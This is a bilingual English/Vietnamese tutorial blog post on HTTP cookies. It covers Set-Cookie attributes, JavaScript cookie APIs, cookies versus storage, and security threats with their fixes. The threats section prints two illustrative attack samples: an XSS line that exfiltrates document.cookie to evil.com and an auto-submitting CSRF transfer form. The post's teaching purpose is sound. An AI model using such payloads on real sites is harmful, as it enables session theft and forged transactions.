jvinhit//lab

Search posts

Type to search across journal entries.

navigate open esc close

Cookies in the Frontend — From Basics to Security Deep Dive

A bilingual deep-dive into HTTP cookies: how Set-Cookie works, every attribute (Secure, HttpOnly, SameSite, Partitioned/CHIPS), reading them in JS, cookies vs storage, and the security threats (XSS, CSRF, fixation) with prevention.

HTTP is stateless {HTTP không trạng thái} — every request is independent and the server forgets you between them {mỗi request là độc lập và server quên bạn giữa các request}. A cookie is the original fix {Cookie là cách sửa nguyên thuỷ}: a small piece of data the server tells the browser to store {một mẩu dữ liệu nhỏ mà server bảo browser lưu lại} and send back on every subsequent request {và gửi lại trên mỗi request sau đó}.

That round trip is the whole idea {Vòng lặp đó chính là toàn bộ ý tưởng}:

1. Browser → Server:  GET /login
2. Server → Browser:  Set-Cookie: session=abc123   {server bảo lưu}
3. Browser stores it
4. Browser → Server:  GET /dashboard
                      Cookie: session=abc123        {browser tự gửi lại}

The server sets a cookie with the Set-Cookie response header {Server đặt cookie bằng header response Set-Cookie}; the browser automatically returns it with the Cookie request header {browser tự động trả lại bằng header request Cookie} for matching requests {cho các request khớp}.

Set-Cookie: session=abc123; Max-Age=3600; Path=/; Domain=example.com; Secure; HttpOnly; SameSite=Lax
            └──── name=value ────┘ └────────────── attributes ──────────────────────────┘

Only name=value is sent back to the server {Chỉ name=value được gửi lại server}. The attributes (Max-Age, Secure, etc.) are instructions to the browser {Các attribute là chỉ dẫn cho browser} about when and how to send the cookie {về việc khi nàothế nào gửi cookie} — they are never transmitted back {chúng không bao giờ được gửi ngược lại}.


Attributes control a cookie’s lifetime, scope, and security {Attribute điều khiển vòng đời, phạm vi, và bảo mật của cookie}. Getting them right is most of the job {Đặt đúng chúng là phần lớn công việc}.

Lifetime: Expires vs Max-Age {Vòng đời: Expires vs Max-Age}

Set-Cookie: a=1                          ; no lifetime → session cookie {cookie phiên}
Set-Cookie: b=2; Max-Age=3600            ; expires in 3600s {hết hạn sau 3600s}
Set-Cookie: c=3; Expires=Wed, 31 Dec 2025 23:59:59 GMT
  • No lifetime {Không vòng đời} = a session cookie, deleted when the browser closes {= cookie phiên, xoá khi đóng browser} (though “session restore” can keep it) {(dù “khôi phục phiên” có thể giữ lại)}.
  • Max-Age (seconds) takes priority over Expires {tính bằng giây, ưu tiên hơn Expires} where both exist {khi có cả hai}. Use it {Hãy dùng nó}.
  • To delete a cookie {Để xoá cookie}: set it again with Max-Age=0 {đặt lại với Max-Age=0} (same name/path/domain) {(cùng name/path/domain)}.

Scope: Domain and Path {Phạm vi: DomainPath}

Set-Cookie: x=1; Domain=example.com; Path=/app
  • Domain {Domain}: omit it → cookie is host-only (exact host) {bỏ qua → cookie chỉ host (đúng host)}. Set Domain=example.com → also sent to all subdomains {đặt Domain=example.com → gửi cả tới mọi subdomain} (api.example.com, app.example.com) {}. You can’t set a cookie for a domain you’re not on {Bạn không thể đặt cookie cho domain bạn không thuộc về} — and never for a public suffix like .com {và không bao giờ cho public suffix như .com}.
  • Path {Path}: cookie is sent only for URLs under this path {cookie chỉ gửi cho URL dưới path này}. Path=/app → sent for /app/*, not /blog {}. Note: Path is not a security boundary {Path không phải ranh giới bảo mật} (any path can read it via DOM tricks) {}.

Security: Secure {Bảo mật: Secure}

Set-Cookie: token=xyz; Secure

The cookie is sent only over HTTPS {Cookie chỉ gửi qua HTTPS} (except on localhost) {(trừ localhost)}. This prevents a network attacker from reading it over plain HTTP {Điều này ngăn kẻ tấn công mạng đọc nó qua HTTP thường}. Always set Secure on anything sensitive {Luôn đặt Secure cho mọi thứ nhạy cảm}.

Security: HttpOnly {Bảo mật: HttpOnly}

Set-Cookie: session=abc123; HttpOnly

The cookie is invisible to JavaScript {Cookie vô hình với JavaScript} — document.cookie won’t show it {document.cookie sẽ không hiện nó}. This is your single most important defense against session theft via XSS {Đây là phòng thủ quan trọng nhất chống đánh cắp phiên qua XSS}. Session identifiers should always be HttpOnly {ID phiên luôn luôn nên là HttpOnly}.

Security: SameSite {Bảo mật: SameSite}

This controls whether the cookie is sent on cross-site requests {Cái này điều khiển việc cookie có được gửi trên request khác site hay không} — the core defense against CSRF {phòng thủ cốt lõi chống CSRF}.

Value {Giá trị}Behavior {Hành vi}
StrictSent only for same-site requests {Chỉ gửi cho request cùng site}. Even clicking a link from another site won’t send it {Ngay cả click link từ site khác cũng không gửi} — secure but can log users “out” on arrival {an toàn nhưng có thể khiến user “out” khi vừa tới}
Lax (default {mặc định})Sent same-site + on top-level GET navigations {Gửi cùng site + khi điều hướng GET cấp cao nhất}. Blocks cross-site POST/iframe/AJAX {Chặn POST/iframe/AJAX khác site}
NoneSent on all requests, requires Secure {Gửi mọi request, bắt buộc Secure}. Needed for legit third-party cookies {Cần cho cookie third-party hợp pháp}
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly
Set-Cookie: embed=1; SameSite=None; Secure   {third-party use {dùng third-party}}

Modern browsers default to SameSite=Lax {Browser hiện đại mặc định SameSite=Lax} when you don’t specify it {khi bạn không chỉ định}.

Modern: Partitioned (CHIPS) {Hiện đại: Partitioned (CHIPS)}

Set-Cookie: ad=1; SameSite=None; Secure; Partitioned

CHIPS (Cookies Having Independent Partitioned State) {CHIPS (Cookie có trạng thái phân vùng độc lập)} gives a third-party cookie a separate jar per top-level site {cho cookie third-party một lọ riêng cho mỗi site cấp cao nhất}. An embed on siteA.com and the same embed on siteB.com get different partitioned cookies {Một embed trên siteA.com và cùng embed đó trên siteB.com nhận cookie phân vùng khác nhau} — they can keep functional state without enabling cross-site tracking {chúng giữ được trạng thái chức năng mà không cho phép theo dõi xuyên site}.

Naming Prefixes: __Host- and __Secure- {Tiền tố tên: __Host-__Secure-}

Set-Cookie: __Host-session=abc; Path=/; Secure; HttpOnly       {strongest {mạnh nhất}}
Set-Cookie: __Secure-id=xyz; Secure

These prefixes are enforced by the browser {Các tiền tố này được browser thực thi}:

  • __Secure- {__Secure-}: the cookie must have Secure and come from HTTPS {cookie phảiSecure và đến từ HTTPS}.
  • __Host- {__Host-}: must be Secure, Path=/, and have no Domain (host-only) {phải Secure, Path=/, và không có Domain (chỉ host)} — the gold standard for session cookies {tiêu chuẩn vàng cho cookie phiên}, immune to subdomain injection {miễn nhiễm với tiêm từ subdomain}.

Live Demo {Demo trực tiếp}

Cookies are easiest to grasp by poking at them {Cookie dễ hiểu nhất khi bạn tự nghịch}. The demo below has a cookie playground {Demo dưới có một sân chơi cookie} (set/read/delete with real attributes) {(set/đọc/xoá với attribute thật)}, an HttpOnly illustration {một minh hoạ HttpOnly}, a cookie vs storage comparison {một so sánh cookie vs storage}, and a SameSite/CSRF explainer {và một trình giải thích SameSite/CSRF}.

Open the full demo {Mở demo đầy đủ}: /tools/cookie-demo/.


The Legacy API: document.cookie {API cũ: document.cookie}

The classic API is famously awkward {API cổ điển nổi tiếng là khó dùng} — it’s a single magic string {nó là một chuỗi “ma thuật” duy nhất}:

// Reading returns ALL non-HttpOnly cookies as one string
// {Đọc trả về TẤT CẢ cookie không-HttpOnly dưới dạng một chuỗi}
console.log(document.cookie); // "theme=dark; lang=en"

// Writing sets ONE cookie (assignment doesn't overwrite the rest)
// {Ghi đặt MỘT cookie (gán không ghi đè phần còn lại)}
document.cookie = "theme=dark; Max-Age=3600; Path=/; SameSite=Lax";

// You can never read HttpOnly or Secure attributes back {Không bao giờ đọc lại được attribute}

Helpers make it bearable {Hàm phụ giúp nó dễ chịu hơn}:

function getCookie(name) {
  const match = document.cookie.match(
    new RegExp("(?:^|; )" + name.replace(/([.$?*|{}()[\]\\/+^])/g, "\\$1") + "=([^;]*)")
  );
  return match ? decodeURIComponent(match[1]) : null;
}

function setCookie(name, value, { maxAge, path = "/", sameSite = "Lax", secure = true } = {}) {
  let str = `${encodeURIComponent(name)}=${encodeURIComponent(value)}; Path=${path}; SameSite=${sameSite}`;
  if (maxAge != null) str += `; Max-Age=${maxAge}`;
  if (secure) str += "; Secure";
  document.cookie = str;
}

function deleteCookie(name, path = "/") {
  document.cookie = `${name}=; Max-Age=0; Path=${path}`;
}

Note {Lưu ý}: JavaScript can never set HttpOnly {JavaScript không bao giờ đặt được HttpOnly} — that would defeat its purpose {điều đó sẽ phá huỷ mục đích của nó}. Only the server can {Chỉ server làm được}.

The asynchronous Cookie Store API is far nicer {Cookie Store API bất đồng bộ dễ chịu hơn nhiều} (Chromium-based, partial support) {(nền Chromium, hỗ trợ một phần)}:

// Async, structured, no string parsing {Bất đồng bộ, có cấu trúc, không parse chuỗi}
await cookieStore.set({
  name: "theme",
  value: "dark",
  expires: Date.now() + 3600_000,
  sameSite: "lax",
});

const cookie = await cookieStore.get("theme"); // { name, value, ... }
const all = await cookieStore.getAll();
await cookieStore.delete("theme");

// React to changes (e.g. another tab logs out) {Phản ứng với thay đổi}
cookieStore.addEventListener("change", (e) => {
  console.log("changed:", e.changed, "deleted:", e.deleted);
});

Cookies are not the only place to store data {Cookie không phải nơi duy nhất để lưu data}. Choose the right tool {Chọn đúng công cụ}:

Feature {Tính năng}CookielocalStoragesessionStorageIndexedDB
Sent to server {Gửi lên server}✅ every request {mỗi request}
Capacity {Dung lượng}~4 KB~5–10 MB~5–10 MBhundreds of MB+ {hàng trăm MB+}
Readable by JS {JS đọc được}only if not HttpOnly {chỉ khi không HttpOnly}
Expiry {Hết hạn}✅ built-in {có sẵn}❌ manual {thủ công}tab close {đóng tab}❌ manual
Survives tab close {Sống qua đóng tab}✅ (if persistent)
Good for {Tốt cho}auth, server state {xác thực, trạng thái server}prefs, UI state {tuỳ chọn, trạng thái UI}per-tab temp {tạm theo tab}large structured data {dữ liệu lớn có cấu trúc}

Rule of thumb {Quy tắc kinh nghiệm}: use cookies for authentication (the server needs them every request) {dùng cookie cho xác thực (server cần chúng mỗi request)}, and Web Storage for client-only data {và Web Storage cho data chỉ phía client}. Never put a session token in localStorage {Đừng bao giờ để session token trong localStorage} — it’s fully exposed to XSS {nó hoàn toàn phơi bày với XSS}.


Security Threats & Prevention {Mối đe doạ bảo mật & Phòng tránh}

Cookies carry credentials {Cookie mang theo thông tin xác thực}, which makes them a prime target {khiến chúng thành mục tiêu hàng đầu}. Here are the major threats {Đây là các mối đe doạ chính}.

1. XSS — Session Theft {XSS — Đánh cắp phiên}

If an attacker injects script into your page {Nếu kẻ tấn công tiêm script vào trang}, they can read cookies and exfiltrate them {họ có thể đọc cookie và tuồn ra ngoài}:

// Attacker's injected script {Script bị tiêm của kẻ tấn công}
new Image().src = "https://evil.com/steal?c=" + encodeURIComponent(document.cookie);

Prevention {Phòng tránh}:

  • HttpOnly on session cookies {trên cookie phiên} — script can’t read them {script không đọc được}.
  • ✅ Fix the XSS itself {Sửa chính lỗ hổng XSS}: escape output, use a strict Content-Security-Policy {escape output, dùng Content-Security-Policy chặt}, never innerHTML untrusted data {không bao giờ innerHTML data chưa tin cậy}.

2. CSRF — Forged Requests {CSRF — Request giả mạo}

The browser sends cookies automatically {Browser gửi cookie tự động}, even for requests triggered by another site {kể cả request được kích bởi site khác}. An attacker can make your browser perform actions while logged in {Kẻ tấn công có thể khiến browser bạn thực hiện hành động khi đang đăng nhập}:

<!-- On evil.com — auto-submits using YOUR cookies {tự submit dùng cookie của BẠN} -->
<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="attacker" />
  <input name="amount" value="10000" />
</form>
<script>document.forms[0].submit();</script>

Prevention {Phòng tránh}:

  • SameSite=Lax (or Strict) {(hoặc Strict)} blocks cross-site POSTs {chặn POST khác site}.
  • Anti-CSRF tokens {Token chống CSRF}: a per-session secret in a form/header the attacker can’t read {một bí mật theo phiên trong form/header mà kẻ tấn công không đọc được} (double-submit cookie or synchronizer token) {(double-submit cookie hoặc synchronizer token)}.
  • ✅ Check Origin/Referer for state-changing requests {Kiểm tra Origin/Referer cho request thay đổi trạng thái}.

3. MITM — Network Interception {MITM — Chặn bắt mạng}

Over plain HTTP, anyone on the network reads cookies {Qua HTTP thường, bất kỳ ai trên mạng đọc được cookie}.

Prevention {Phòng tránh}: ✅ Secure + HTTPS everywhere {HTTPS khắp nơi} + HSTS {}.

4. Session Fixation {Cố định phiên}

An attacker plants a known session ID before you log in {Kẻ tấn công cài sẵn một session ID đã biết trước khi bạn đăng nhập}, then reuses it afterward {rồi tái dùng nó sau đó}.

Prevention {Phòng tránh}: ✅ Regenerate the session ID on login {Tái tạo session ID khi đăng nhập} (and on privilege change) {(và khi đổi quyền)}.

5. Subdomain & Scope Abuse {Lạm dụng Subdomain & Phạm vi}

A compromised sub.example.com can set a Domain=example.com cookie {Một sub.example.com bị chiếm có thể đặt cookie Domain=example.com} that overrides the main site’s {ghi đè cookie của site chính} (cookie “tossing”) {}.

Prevention {Phòng tránh}: ✅ Use the __Host- prefix {Dùng tiền tố __Host-} for session cookies (host-only, no Domain) {cho cookie phiên (chỉ host, không Domain)}.

6. Third-Party Tracking {Theo dõi Third-Party}

SameSite=None cookies in iframes/pixels historically enabled cross-site tracking {Cookie SameSite=None trong iframe/pixel xưa nay cho phép theo dõi xuyên site}.

Prevention / direction {Phòng tránh / hướng đi}: ✅ Browsers are phasing out third-party cookies {Browser đang loại bỏ dần cookie third-party}; use Partitioned (CHIPS) for legit per-site state {dùng Partitioned (CHIPS) cho trạng thái hợp pháp theo site}.

Attackers (or buggy code) can stuff huge/many cookies {Kẻ tấn công (hoặc code lỗi) có thể nhồi cookie khổng lồ/nhiều} until requests exceed server header limits {đến khi request vượt giới hạn header của server} → 400/431 errors (a DoS) {→ lỗi 400/431 (một dạng DoS)}.

Prevention {Phòng tránh}: ✅ Keep cookies small {Giữ cookie nhỏ}, validate sizes {kiểm tra kích thước}, scope by Path/Domain {giới hạn theo Path/Domain}.

The Secure-Session Checklist {Checklist phiên an toàn}

For a session/auth cookie, ALWAYS:
{Cho cookie phiên/xác thực, LUÔN:}

✅ __Host- prefix      (host-only, can't be overridden) {không bị ghi đè}
✅ HttpOnly            (XSS can't read it) {XSS không đọc được}
✅ Secure              (HTTPS only) {chỉ HTTPS}
✅ SameSite=Lax/Strict (CSRF defense) {phòng CSRF}
✅ Short Max-Age       (limit blast radius) {giới hạn thiệt hại}
✅ Regenerate on login (anti-fixation) {chống fixation}
✅ + CSRF token for state-changing POSTs {+ token CSRF}

Example {Ví dụ}:
Set-Cookie: __Host-session=...; Max-Age=1800; Path=/; Secure; HttpOnly; SameSite=Lax

Safari (ITP) and Firefox block third-party cookies by default {Safari (ITP) và Firefox chặn cookie third-party mặc định}; Chrome has been moving the same direction {Chrome cũng đang đi theo hướng đó}. The replacements {Các thứ thay thế}:

  • CHIPS / Partitioned {}: partitioned per-site state {trạng thái phân vùng theo site}.
  • Storage Access API {}: document.requestStorageAccess() lets an embedded frame ask for its unpartitioned cookies {cho phép frame nhúng xin cookie chưa phân vùng của nó} after a user gesture {sau một cử chỉ người dùng}.
  • Privacy Sandbox APIs (Topics, FedCM) for ads/identity without cross-site cookies {cho quảng cáo/định danh mà không cần cookie xuyên site}.

Under GDPR/ePrivacy {Theo GDPR/ePrivacy}, non-essential cookies (analytics, ads) require prior consent {cookie không thiết yếu (analytics, ads) cần đồng ý trước}; strictly necessary cookies (session, security) don’t {cookie thực sự cần thiết (phiên, bảo mật) thì không}. Don’t set tracking cookies before the user agrees {Đừng đặt cookie theo dõi trước khi người dùng đồng ý}.


Common Pitfalls {Các lỗi thường gặp}

Pitfall {Lỗi}Fix {Sửa}
Session token in localStorage {token phiên trong localStorage}Use an HttpOnly cookie {Dùng cookie HttpOnly}
Forgetting Secure {Quên Secure}Always set it on sensitive cookies {Luôn đặt cho cookie nhạy cảm}
SameSite=None without Secure {SameSite=None không Secure}Browser rejects it — add Secure {Browser từ chối — thêm Secure}
Delete fails {Xoá thất bại}Match name + path + domain exactly {Khớp chính xác name + path + domain}
Relying on Path for security {Dựa vào Path để bảo mật}It’s not a security boundary {Nó không phải ranh giới bảo mật}
Storing big data in cookies {Lưu data lớn trong cookie}~4 KB limit; sent every request — use storage {Giới hạn ~4 KB; gửi mỗi request — dùng storage}
No encodeURIComponent {Không encodeURIComponent}Values with ; , = break parsing {Giá trị có ; , = làm hỏng parse}

Quick Reference {Tham khảo nhanh}

Set-Cookie attributes {thuộc tính}:
  Max-Age=<s> / Expires=<date>   → lifetime {vòng đời}
  Domain=<d>                     → share with subdomains {chia sẻ subdomain}
  Path=<p>                       → URL scope (NOT security) {phạm vi URL}
  Secure                         → HTTPS only {chỉ HTTPS}
  HttpOnly                       → hidden from JS {ẩn khỏi JS}
  SameSite=Strict|Lax|None       → cross-site policy (CSRF) {chính sách xuyên site}
  Partitioned                    → CHIPS per-site jar {lọ theo site}
  __Host- / __Secure- prefix     → browser-enforced rules {luật do browser thực thi}

JS access {truy cập JS}:
  document.cookie                → legacy string {chuỗi cũ}
  cookieStore.get/set/delete()   → modern async {hiện đại bất đồng bộ}

Decide where to store {quyết định lưu ở đâu}:
  auth/session  → HttpOnly cookie
  UI prefs      → localStorage
  per-tab temp  → sessionStorage
  large data    → IndexedDB

Cookies are old {Cookie thì cũ}, but they’re still the backbone of web authentication {nhưng vẫn là xương sống của xác thực web}. The difference between a safe cookie and a liability {Khác biệt giữa một cookie an toàn và một mối hoạ} is just a handful of attributes {chỉ là một nắm attribute} — set them deliberately {hãy đặt chúng một cách có chủ đích}.